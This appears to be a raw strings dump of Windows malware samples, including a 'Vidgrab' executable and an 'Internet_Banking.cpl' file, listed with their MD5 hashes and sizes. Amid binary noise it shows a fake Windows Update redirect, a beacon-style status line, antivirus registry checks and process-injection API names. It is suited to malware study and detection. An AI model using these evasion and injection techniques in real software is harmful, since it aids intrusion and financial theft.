ia}}}
5"bb
>JQQQ
LMMM
E-%2rr
AEDDD
h8n8P
}hp`
,9AP
R^DDD
{m--
-mmm^
zl,,
AIII
1qqB
<yu&p'MD
/|,J
ZHHH
bASSS
0Z[1+
ZXXX0
D1)))
AYYY1
YY3'w
bw#3ss
-%e%Cx
+^[=
]5IQ
onnn
<)ET
l<>X
DN;"
pa!!
!9yy)
fL[[[
z{{{{H
.w.ZK
kz::
CVVV
=n>X
?7w7Qj
sV=<<<
U@L]
cs33c
xyyy.
6^XZZZ<
\RRR
cz::
RFFF
%0 1qqJ
iiiiZ
3'6vv
i9S6
RG_N
ss@@@*.
@**@@**@A)
WBJ[
hnlll
{3)ii9i
,YV>
tm--
'>~~
|KKK
QZZZ
^R:>???
|(2rr
C69Q}g''
ax88
2+kk
_S;?>>>
"WX0PJ
\jjj3
@*)A
?*"3ssH
YSSS
^^+<
^6JP
commm
`  UA
#3ss#K7-mm
;;;b
O%$s
XX2;bQ
gw77
L6BFu
@U%4tt-
7""3ss
UU!)*_
3#cc3[
888a8
F21a
".Pf
<>>>i
%"""
6g4d
..>>>V
:!aa7a1
8222
ADDFFF
!!---
gkkk
6^^^^~
!4222
fvm--
xIII
5%ee5]
}}}}
"###V8
o//|/|/|/
::::NJy
RK####
uqqq
kR'/ZG
PVVV
OG2?
o//ZX
XxxK
MA4:
5HDE
!!!!E
&co?
"VA)
=(`p00ZZ
''''O
rc##
@5%r
BBBB{>2=
====
!4xh((
xhQd
RSSS
-////
GDDDD
Z'+*%
<<<<
pvvvv v
@HHHH
^UUUU
(UYX-(
tOB:
4pTP
X|`k
=iMY.&TSh,
TVVV
.nn]
ly9)ii
.rc##
FFPPPP
T!)~
uucccc
m|<<
8g9b?
F___
$QE0.
ddrrrr
F;3FKp
:NkP
te%%
x]]]
kz::
o~>>
&y'|!
Rb1b1b1
6CKx
)\Lu($QCp
Vo2&SW
19y;
'R^)
RRpppp
'bv&
i>JM
#VF}
H=5bQ
)~)~)~
=@T!$B
(]IF
_S%4
&&RZ
v%s$
+++++
gfggg
,----
*|+x
yqBr%
'&&&&
4z~}
r$,/
y&x#
RRR&
O}|||
MA5$
o\Pj
h,$<JW
&nbY
(meN
6e3d
\\m(
>.nn]
RGwg''
:*jjY
dt44\UQQ
@U!1qq
<x\Pc
=Y}i
%)^V$+
]ym^
1+++r+
PXY_
`q11
-mm^
`E16\^
vX28
8>>o>
,ll_
YYYY
Z%SM
"VD} 0FK
o0n]
_7555
8222
mddd
G0?0
u}}}
lddd
meee
U]]]
^4<<<
"/'''
&&...
9>>>
olPf
ruuuIz
mjjjV2=
(///
&!!!
R#$$$
c=???
||||
])9q9M
ai!if
zTVVV
caaa
xH@O
\\\\
]]UUU
;;;;]
ddlll
"####
<???
2zxw
puuu
lldk
\4111
qrrr
tuuuz
8;;;
8$'''
a<===k
@@AAA
.&&&&
4555
xzzzz
  0?
**+++M
44IE
(n>x
%PxA
$$XC
=9M_
nnxxxxK
O=}}{
HH,_
zk++
=IlW
5'***
(oc#p&
w2:;=
-8XI
#GCCC
;{{H
6s{(
++====
uZPPP:8fe
+/%%%
F1<3
(!!!
?KoD
 )))
Gfooo
[SSS5
zrrr
%---K
`hhh
)E1)
XPPP6
TTDDD
AEMMM
qvvvy
)RPd
jhZ/=
*QVVV
<====
=innna
}kjjj
liii
a````
AGGGG
dfff
qAIF
{{{{
l\T!&
6222
jnnn
NLLLg
$rvvvy
ud$$
%UQb
5RWWW
+NMMM
!%%%
..,,,
?bccc5
n~~~~q
VVFI
.[Yj
&&$$$
IHx8
Z[[[[
//[]^
,YXXX
110DO)
&'SX>
&$PC%
e6\|
et44
{+{+{+
k4jY
]"bb
vg''
[[MMMM
////
IIII
%|%QT
]H(9yy
4zvV
5444
YL,=}}
!0pp
iiii
3}eN
3GP:8k8
#maA
iLp`
/PPP6
}a}==
"w{)
ok8RS;;;;{
4@ s%
9)ii
g4b5
R---K
j:8^
D.*y
zzzz:RZ
@@{~
%.DF
k{;;h;m
j:i:
|l,,
z{;z
!! \
//...
?`>e
c>-.
XXXX
^^^^Q
tttt
O"2:|s
aiZ^
z::|6
;{{=
h7i4
}l,,u
;e%%
d:zz
u*jj
%%%appp4
BBBBRRR>
sssssssssss
0!!!
KKKKKKKKKKKu
zzzf
}}}g
%%%C
999Y
'''K
kkkO
AAA5
iii#
UUUUUUUI
GGGE
qqq3
jjj$
-m4u-}<d$~~~
L;X+G0BB((w/L<H
vv)H,F3@4k
{U1]111
bb=b
m2Q$V
|}"K$FFFij5F(X*C-Y??
S:N!@@.+\?K$I+++
 B#G.A(F OO
wv)@3R&R++
_+J>K888
n-_:[/J
X aa
P<S E
s<L)G
U-zz
V?S666dd'U0Q%@
~:S!D'S<N7vv
T&C"V3c
~.A(F2W%%%~
8])o
\5O**BC
Y8K?z
ggg((k
J#O*kk''d
F0U;O
N+I<[<Y+{
V$K(M>M
R;I=H)E
M555FG
\3W"N+m
C"O*kkk
pq6S'w
j:H'A(D!r
CCC)(o
~2]>_3g
W9M(Z6Y:Q4P
kkUV
J$P5G+D'L)M
O7T<]3T111JH
w3V4A&u
`b3F#Q(x
p3\)G3V$$
|(A,I
{=T8]
hh.-y
t$V9Z?L???
J8W4Q"QQ
P>V7Y=Q4P
A(D0U'''
D<_:J>W8V
vv=x*d!m^lB&J&&&==z
k*N/_+N<O
tZ>R>>>i:
WdVx
rr6S?Z.K
e!!!'bbb
pk++
nwwwwwwwwwwwwwwsssr
__________
( `````````
cl,,,,,,,,,
 6vvvvvvvvV
U}mz
s58]JF3
DjPc
iDrF
Uwo!j
xFTk
7vHzE
qNN~~~
.O|>
DpPe
~IF~
DySm
99yyy
7pC%
aUGr;
88hhhTUUUXh}M
:oY<
TczB
a\YgSl
/{K+
zBe\wNaXkRe\g^aX
"SjE
Huc]
555eeee
VVVZZZZ
o^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
''$$$$  
88886)
V?\4
bbbbbbbbb2www;:99h%7ggggggggg
wwwsssSSSSSCCCSSSSSSSCCCCCCCCCCCCGYYYeeeeeeeeeeeeeeeeeeeeeeeeeeeee%%%=<<<
3G"Z....
111Q
oooo
iwww
bBBB
Llll
fFFF
TKKK
FYYY
tkkk
hwww[DDDZEEESLLL@___
OOOOOMMMM
eeRR``VVxx
|hmh-h-
}}uu]zB
}}}}]u
}}}}
u}ur
}u}}}uu}}zrrrrrrrr:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:                H
{kkj
/Z^m
FT>=m
FvEED
EpwwwD
xmYIIH
IHHHH,
'776
=>>>
X-'MR
x~~~'
"223[
3222
!YoonU
aggg>g
0%euut
Nxxyy
HXXY
trNn
gm5e3YY11110
]YYY
ZO3##"
D|OON
Uhhhhi$~
Jr"ggg
k`aaa
````n
gggg
jjjje
FF@@@
aWWV
*'Waa`
>brrs
2233FJ"VLLM
_@EEEv
y=;;;
;h>i
EPPQ5
^^nno\
:~Zj
:vR~MT
'SWl
3ebbb
-(((((
ow(v-
+ckX
#gCK
;??j<k8
!'''
YOON
y$0f
L7'SX
UfjR
eeeee
zIE}
NNNNN
{MML
&'''
Bq}G
h%-|+
(P@C6
G^*?
_F25
\I%554
I\p``aR
bG?//.
Ax5o
3l2i4
;QY1
pppp
=m}}|
8k=j
$$$$$
<11111h7h6m
;NF.{nno
Q999::RRRSS
+AM%
tAAqqp
`]aUUT2
Myyx
hmYmml
LaMyyx
qBBCBBCC
,pCCB
&667_
YLDTTU=400
qz)x
b{{z
SIIH
 >>>>...
UEEEEEEEEEEEEEEEEEEEEEEE
IWWW[zzz
Ffff
|\\\<
^~~~HhhhLllljJJJ
C\\\\\\\fyyy;$$$hwww/000VIII3,,,
#<<<
MRRR
C]]]]]]]
L+N:W6_1P"E66"#|
}|#F>W##II
N-])o
WS6N'SSS
}}|}"C.]:e
_9]4BBB
W'x'A,C'BBB
lm*O;h
~7Y?P
R'B0I
R=H&R7EE
on)L8k
I M(i
\5Y<h
E7X;^-^^^ed#F2q
{+Y6U0C00gd1_7V8\0U1t
f I%Q4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFF
FGGGGGGGGgb
$$$$////oooo
muuuu}}}}]]]]"""""""""""""
MMMMMMMMMM
#/ooooooooo?
cq11111111
`#-(
a)d<~
4g\)m
n=AS
/6L/
m(jm
BR~[
r@Jym^GtjYm^gT
9`\;
`1l1p1
3g4q4
5"5_5f5
6:6[6h6
8<8]8
8(9A9
<I<n<x<
=E=_=i=
>&>`>n>j?
0 070S0]0w0
1T1^1d1n1
2`2l2r2y2
5E6Q6]7x8
8P9`9f9t9
;(;?;
< <(<0<<<S<[<t<z<
='=,=2===D=
=5>s>
>J?y?
G0[0
3)4F4
8<9W9
:.:e:i:m:q:u:y:}:
:k;t;
<Q<h<s<
=E>T>f>
{"r":"440000100186","l":"441200100550","u":"0099024","m":"441201100518"}

Unicode Strings:
---------------------------------------------------------------------------
\Network\
\Microsoft
ServiceDll
ServiceMain
ESEntry
update
Pactmovie.exe
mssrt726.dll
6B5A4606
Global\%d%s
6B5A4607
(null)
XFILE

File: Vidgrab_660709324ACB88EF11F71782AF28A1F0_DW20_.exe__
MD5:  660709324acb88ef11f71782af28a1f0
Size: 118784



....3
HTTP/1.1 301 Moved Permanently
Location:http://windowsupdate.microsoft.com/
Content-Type: text/html
Connection: Keep-Alive
<h1>Bad Request (Invalid Verb)</h1>
.....HK|(172.16.253.130)|1067|WinXP|D|L|No|0..0....1..52..|No|V2010-v24|2184|0|3111947|0|1|.
Ascii Strings:
---------------------------------------------------------------------------
!This program cannot be run in DOS mode.
Rich
.text
`.rdata
@.data
.rsrc
@ANu
RZQV
_^[]
0XA;L$
QQSVW
Yj@h
5,0@
Pj(S
QSVW
CBOu
`SVW
RZV3
6f9O
u:hH
SSSS
Qj@j+@P
$VUh
_^][
0fA;M
Vu%h
VPhT
%D0@
%H0@
%L0@
%P0@
%T0@
%X0@
%\0@
%`0@
%d0@
%h0@
%l0@
hSVW
>"u:F
XPVSS
%t0@
%<0@
Sleep
GetTickCount
VirtualFreeEx
CloseHandle
GetModuleFileNameA
CreateFileA
SetSystemTime
GetLocalTime
GetCurrentThreadId
ResumeThread
GetStartupInfoA
GetVersion
ExpandEnvironmentStringsA
KERNEL32.dll
GetMessageA
PostThreadMessageA
GetInputState
USER32.dll
ADVAPI32.dll
SHSetValueA
SHDeleteValueA
SHLWAPI.dll
memset
__CxxFrameHandler
_except_handler3
strcat
??3@YAXPAX@Z
??2@YAPAXI@Z
memcpy
memcmp
fclose
fwrite
fopen
MSVCRT.dll
_exit
_XcptFilter
exit
_acmdln
__getmainargs
_initterm
__setusermatherr
_adjust_fdiv
__p__commode
__p__fmode
__set_app_type
_controlfp
GetModuleHandleA
X[XXX\Z\
[]W\VH
ZHVG
01+x(*7?*9XX5x;9667,x:=x*-6xXX16x
x57<=vUUR|[\Zd[[
x\@e
1;0[
W\[H
Y\8XX
[H[\
XVySY^XX
PZVRZ\Z[
MZ]HZ\xZ\XXHZZ
XXZMx[JKp[PX[
^UZGZKZmZ[[k\l
]JX8{XX
ZT8yXX<ZPW[PH%
PUWQWHRHZ
RWWSv,= ,ZM
ZO\[Z
8v*<9,9X
{UZI|IT\GP]Z
hgXZC[P\
ZT^[Zp
v*=47;XX@
YZMZIK
XJZTR[ZO
RWWSWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH_\WHWH\H
m@xXH[#d
P-@^y
uZhZu
',HX
+V0X
ZBX[-P
-------------snip
[-~[}
%TX,I_
ZcZTR
[Tb]TPyXH
vZTJ@W[WHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHRH8
Z\[K
ZP&Z\(Z\8Z\
Z\dZ\DZ\rZ\[|b{XX
ZTHZP
UDZ\jZ\
Z\[x
ZD[Px]
ZPZ_P[z
ZQPMZQ[t
VhZCX8
Zx[p
ZP[D_\Z
\C[t[\
Vh[E
[p`ZP[D
_@[t[\
Vh[x+
[T[\
L[P[}Z\
ZT:*X"&
Rp~J8jJZFW[XXG
 XX[
1*,-94
*==X
XX=,
<<*=++XX
1:*9*!
XX/Y
7<-4=
96<4=ZL-_
=*+176XX
4==(XvX
47+^nX
kjv<44XXaZ
=Xx,
=*.1;=
,9,-Z"YZXy
=?1+,=*^A
,*4],*
^#*X
Z/;+,75:Z>
+,*6;(!X
\mXPH
Z>KWXWY
161,Z
PXZ59]
9<2-+,
r1.M
{t_\
KP8XX
ZPXX
.;07+,\5^
[91Ju]
W^WHWHWHWHVHSoftwa
re\rar
WYWHWHWHWHWHWHWHWH
XWHWHWHWHWHWHZH
*=9,=
0Z_<K{
=*6=4
[JW\WHWHWH
SWHWHWHWHWHWHWHWH^H
ZSYhOhXX
heisj
j9j,j#jXX
jZkXXBk~k
kXlXXPlWlNlxl
luljl`lXXel
l8l5l,l
m9mXX?m*m'm
mWnynXD%n
|Z[X8hXX0h
h\iHi
iZzW[WHWHWHWHWHWHWHWH
[WHWHWHWHWHWHWHWHWHWHXXXXX
>=>>>:Z\
ZPEX[[~[]W\WH?>>0!
jVWM
NLQYLXX_S
]_PPQJ
LKPXX
SQZ[
334Z\
HZH!vh
ZPxIz
J~\H
Jp\p
\pu\X]+\@
M9Zh
ZPlW]V[4^'>XHn{>>r?<>
5?8]W
ZP.ZQ[\>>
.ZZ>><M`ZNL
[P>.]M
ZKZiZ[[k\l]JZ^][
?>j?]TW^
?>v)\RW]WHUHZ,&;UKSV
Z_J_ZI&
Z%Zt>
ZP{]ZL_[z\X
L[RQ]>>
#ZNZ
> ZP
ZtZ__[Zp|_TWPWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWH
Z\FZ\TZ\hZ\xZ\
Z\0Z\
Z\nZ\VZ\@Z\
?>(Z\
Z\rZ\2hZZ\FZ\
?>~Z\[T
},DZ4jZ\
Z\TZ\
Z\~[
Z\[t
pZ\VZ\HZ\
Z`Z\
Z\zZ\dZ\VZ\
Z\tZ\ZZ\DZ\
?> Z\
Z|VZPDZ\
[TZ\
?>$Z\
Z\lZd
Z\VZ\DZ\
Z\LZ\ZZ\hZ\
JxZ\
Z\xZ\h
Zt$Z\:Z\
Z\JZ\ZZ\K
rVZ\FZ\
?>2Z\(Z\
Z\~Z\vZ\
nZ\dZ\ZZ\PZ\
Z\FZH[
ZDJZ\[T
Z\[D
ZP&Z\6Z\jZ\
]zZ\
Z@[|
?>lZ\`Z\
Z\NZ\\
=Z\nZ\|Z\
Z\ Z\RZp
ZPDZ\^Z\rZ\
Z\0Z\
Z\BZ\XZ\jZ\xZ\
Z<@Z\
Z\*ZD
Z\*j<
Z\.Z@$Z\
ZH4ZxKX
JT[P
J46JL
ZTtZ\bZ\LZ\
Z@[l:
QZ\MZ\K
ZP4Z\5Z\
7ZP6Z\+Z\
3ZP*
2ZT1Z\,Z\
.Z\>Z\
Z\[L[\
>Z#[RYXQ\
JSN>>x>L>W>[X
>P>Z>R>G>p>_>SZH[r
YyZD_>\ZZ[ZR[J>>
}ZhN>J
M>KZz[>
ZRbZ\
fZ_>*4>kP
[TWPZ[F+
IJBYXZPmQXJI_L[bsW]LQMYXZVbwPJ[LP[J
{FNRQPXL[L\JRRWxQLSMbmJQXXL_Y[
~_\]Z[XYVWXXTURSPQNOLMJKHIFG
XDec`a^WGQGEBC@A>>mX
[z[\KYnLWHWR[Y[Z
mvwxj
r^NZ@iZ
G]rZL}R[_L
Z\cZ\
2CZ\BZ\eZ\EZ\^Z\@Z\
raZP
mXXJ_LJ
NNRW]_JWQP
[([`WDZD
QD[R[]J
s[@^ZW_^M^hs_WR^JZ
nR_G
x[n_KM[WtQNTJ[tL[HWQK
jL_]UQ
p[FJWLhQR
^HzQIP]JZ
PsKJ[PL|LJ
XvQZ
_xx_HQLWJ[
Q@mJ']V[
[iPhz
Qtl[
NXL[M\uTtz
T@|Q
hYVJ
{pk[{>
r[X_W}hzqdXipZ
}lqrr
rq}uy
pks_U
m[N_L
_j8]
hZ\j'>
}QSNJ
>NxczA\LtWCJtv{rl(PPz{r[
wpm{lj[S>
nlXZwpj
m}l{{J
{f{}`Pkj{[E]DZ
m{r{}]h
vqs[u
{pz]l
n[Tm
>Zt{m}\|}P
rZt}H}r{
lZ$j
|\l|L
>3:]34P
X]LG
ZDM[|
]}LGNX
J[Zu[G
t>oo
Zc>]PJ
>{ZWJZg>w{
KJQI
Tmqxji
[dH@h[LM
M9W[:_U_HH\
[F[ZxRQ_Z
J_NJ
X_ZRR
[LLQ<=LS]M>qKJRX
avjjn[<QL
PLYT[D
n_MMIQLZZ}\Hm[LH
klr[
UhkM[[)Q
W<PL[DS<\H]<P8[LZ'>[P
\nqnk
L[}L[_XJJ[wPMJ_P]L
LL_LG
>RN>
^pZFWpUpA
[PChmsjDXn
Nh\D^T
]]QKPJ
{S_WRZ%Z
[tZW>[PO
Z:`:
MM_YWPY
mXxK\MGMJ[SbnLQX*
W`XJb_`pjb}KLL[PJ~
GPBs[W
>>{4,
iPL^
Wt$\h{x^
[h[L[
ZZ*Fz
.s_P_Y
>kln
g8` SL[$KLW,Z,qXXW][bZv[
W&>>
xW[RZM>VJJNM
]Z_>
mJLz
>]_w
mWYPKX
ZDanmjql{Z
FZMZ[@{
ZIR[p[I\Oh
kPWP
fWYWHWHWHWHWHWHWH
(WHWHWHWHWHWHWHZH[M[J
O@MVQ[
UL,\VOPWWxPA^Q{m{jzdRJ:
^BW_WH]HW
]~W^QH'
!JKN
|Oz,{
MbXHE
}XXx
Q}WRWHWHRH
RU\Svu\_W]WHO'WHWHPHhltH
^KW_VH
]?ZL
c;=Z_\T[PIZYmgmZ_
K[KW\WHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
YWHWHWHWHWHWHWHWHWH>mqxji
XXl{bsW]LQMQXJb
]JXXWH[
m[JKNbwPMJ_RXXR[Z
}QSNQP[PJMbEXX
XX}x
-------------------------snip
VwZt
i:&mv]v
mvri=
0>Z
n`YLQ]
]xJVnm[`zrr>X>wZ
Pz]P[J}V[]U}QPPJL*+
Jlwp{j\8
RIL>
QI{F][N
3>0j
JGN[z;XQ~~k
{~fj
>WYWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWH_H
Z.>>2ZT"
>~PX>>
>^>>
>>nXX>>>A
>>b?>>
 XP>>5
)zx!
zdXX
z>XX
>>&j
ZXJj>
JVIj,
$J^M
KN>>
>>:?>>
j0YXk>
CYXj
VJH=
xYYJ^
>[[>
_zFXX
8zFq
hjN`
ZHjJ
 >?kW>EZ
>.?>Jz
zX+>re
Zxm:hO
mzt_
zbXZn
>>xX>
?>rJ,2
?>"J
z0~?
EY\j
n?>Z
'I]*4
4IXZ
\LJLD
jJZR
>^?>yPJ
>N?>2YY
5Y]j
sJb@
@YXj
JT4XH
8xPT
?>^Z<
?>bJ
jPW[WHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWHXX>>>>>>>
I7TS
[ba^
WriteProcessMemory
VirtualAllocEx
kernel32.dll
VirtualAlloc
GetProcAddress
GetModuleHandleA
VirtualProtect
LoadLibraryA
VirtualFree
SOFTWARE\KasperskyLab\AVP6\environment
ProductRoot
SOFTWARE\KasperskyLab\protected\AVP9\settings
Ins_ProductPath
\UIFramework\uiWinMgr.exe
SOFTWARE\TrendMicro\Vizor
ProductPath
Kernel32.dll
\avp.exe
\klwtblfs.exe
SOFTWARE\KasperskyLab\protected\AVP12\environment
\wmifw.exe
ReadProcessMemory
CreateThread
Sleep
GetThreadContext
CreateProcessA
%SystemRoot%\System32\svchost.exe
Shlwapi.dll
SHGetValueA
VirtualProtectEx
%temp%\tmp092.tmp
ExpandEnvironmentStringsA
Software\rar
data
\fxsst.dll
%SystemRoot%
wwwwwx
wwwwx
wwwwwwwx
wwwwww

Unicode Strings:
---------------------------------------------------------------------------
IZQD
3$wG
IDI_ICON5

File: C__Internet_Banking.cpl
MD5:  563707b4edcc0bb0c88365a6702d4ba0
Size: 192000

Ascii Strings:
---------------------------------------------------------------------------
This program must be run under Win32
CODE
`DATA
.idata
.edata
P.reloc
P.rsrc
Boolean
False
True
Integer
String
TObject
TObject
System
IInterface
System
TInterfacedObject
%|qB
%xqB
%tqB
%pqB
%lqB
%hqB
%dqB
%`qB
%\qB
%XqB
%TqB
%PqB
%LqB
%HqB
%DqB
%@qB
%<qB
%8qB
%4qB
%0qB
%,qB
%(qB
%$qB
% qB
u:hD
SVWUQ
Z]_^[
SVWU
YZ]_^[
SVWU
]_^[
SVWU
w;;t$
]_^[
SVWU
]_^[
SVWUQ
Z]_^[
SVWU
YZ]_^[
SVWU
uW;{
u:;{
]_^[
=E`B
ZYYd
=E`B
=E`B
ZYYd
=E`B
SVWU
]_^[
YZ^[
SVWU
]_^[
Uh "@
=E`B
ZYYd
h'"@
=E`B
_^[YY]
QSVW
=E`B
ZYYd
=E`B
_^[Y]
SVWU
$;L$
$)D$
YZ]_^[
QSVW
Uhe&@
=E`B
ZYYd
hl&@
=E`B
_^[Y]
YZXu
=(`B
r/f=
w)f%
uENt
u0Nt
u%Nt
~KxI[)
2_^[
S!-@
S!-@
@v:k
@aQY
E@|o
BkU'9
ZYYd
SOFTWARE\Borland\Delphi\RTL
FPUMaskValue
-  B
SVW3
ZYYd
_^[YY]
2;0u
SVW1
SVW1
=( B
=( B
PPRTj
=( B
=( B
=( B
YYZX
=( B
=( B
=, B
=( B
=, B
=( B
YZXtp
VWUd
SPRQ
T$(j
Ph 5@
SVWU
]_^[
=, B
=( B
=, B
=( B
YZXtm1
SPRQ
SVWU
]_^[
ZTUWVSPRTj
]_^[
d$,1
,t\=
t=HtN
r6t0
t.Ht
=( B
ZYYd
_^[]
Uh&:@
ZYYd
_^[]
-DfB
=,`B
=  B
=D`B
= bB
hl B
hh<@
=0 B
hd B
hl B
SVWU
=$`B
]_^[
_^[]
;_^[
SVWU
]_^[
t!R:
t-Rf;
t f;J
SVWRP
Z_^[X
uXJt
uAJt
u:Jt
It2S
t&J|
N|*9
t1SVW
;_^[
SVWU
]_^[
t-Rf;
t f;J
uAJt
_^[]
]_^[
PSVW
_^[X
_^[X
SVWU
]_^[
]_^[
SVWU
]_^[
]_^[
8\u8
kernel32.dll
GetLongPathNameA
h0R@
hPR@
ZYYd
Software\Borland\Locales
Software\Borland\Delphi\Locales
58 B
UhSS@
ZYYd
_^[YY]
ZYYd
FFF;M
^[YY]
tl;u
B@;u
t0;u
Uh{W@
ZYYd
^[Y]
ZYYd
h&X@
^[Y]
UhoX@
ZYYd
hvX@
^[Y]
Uh:Y@
ZYYd
hAY@
ZYYd
u*PR
5dfB
Uh)\@
ZYYd
h0\@
-hfB
Uha\@
ZYYd
hh\@
-pfB
HICON
%|rB
%xrB
%trB
%prB
%lrB
%hrB
%drB
%`rB
%\rB
%XrB
%TrB
%PrB
%LrB
%HrB
%DrB
%@rB
%<rB
%8rB
%4rB
%0rB
%,rB
%(rB
%$rB
% rB
%<sB
%8sB
%4sB
%0sB
%,sB
%(sB
%$sB
% sB
%xsB
%|sB
%tsB
%psB
%lsB
%hsB
%dsB
%`sB
%\sB
%XsB
%TsB
%PsB
%LsB
%HsB
%DsB
UhA`@
ZYYd
hH`@
-tfB
UhYc@
ZYYd
h`c@
-xfB
Exception d@
EHeapException
EOutOfMemory
EInOutError0e@
EExternal
EExternalException
EIntError
EDivByZero
ERangeError
EIntOverflow
EMathError
EInvalidOp
EZeroDivideTh@
EOverflow
EUnderflow
EInvalidPointer`i@
EInvalidCast
EConvertError
EAccessViolation
EPrivilege
EStackOverflow
EControlC
EVariantError
EAssertionFailed
EAbstractError
EIntfCastError
EOSError
ESafecallException
SysUtils
SysUtils
TThreadLocalCounter
=?Xn@
$TMultiReadExclusiveWriteSynchronizer
SVWU
]_^[
0<:r
True
False
QSVW
_^[Y]
TStrData
UhZv@
ZYYd
hav@
^[YY]
@w2j
SVWQ
PWVS
$Z_^[
SVWQ
PWVS
$Z_^[
^[YY]
QQQQS
ZYYd
SVWU
]_^[
(_^[
<*t"<0r=<9w9i
_^[[
_^[]
INFNAN
QS<$t
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
<sGf
<sAf
^YY]
'w~f
f;\F
_^[YY]
@YY]
=DgB
ZYYd
ZYYd
yyyy
t%HtIHtm
ZYYd
AM/PM
AMPM
AAAA
SVW3
ZYYd
_^[YY]
SVWQ
Z_^[
SVWUQ
$Z]_^[
=@gB
SVW3
8gu4
=HgB
ZYYd
SVWU
]_^[
SVWQ
Z_^[
QSVW
_^[Y]
QQQQQQSVW3
ZYYd
ZYYd
^[Y]
ZYYd
QQQQQSVW
ZYYd
yyyy
eeee
D$DP
D$HP
D$PPj
D$LPj
ZYYd
_^[Y]
ZYYd
_^[YY]
TErrorRec
YZ^[
TExceptRec
SVW3
ZYYd
,tY=
t<HtH
r3t7
t(Ht
ZYYd
ZYYd
=HgB
=HgB
=HgB
u#;]
=HgB
K;\$
$YZ^[
=HgB
$YZ^[
=HgB
=HgB
=HgB
SVWU
]_^[
SVWU
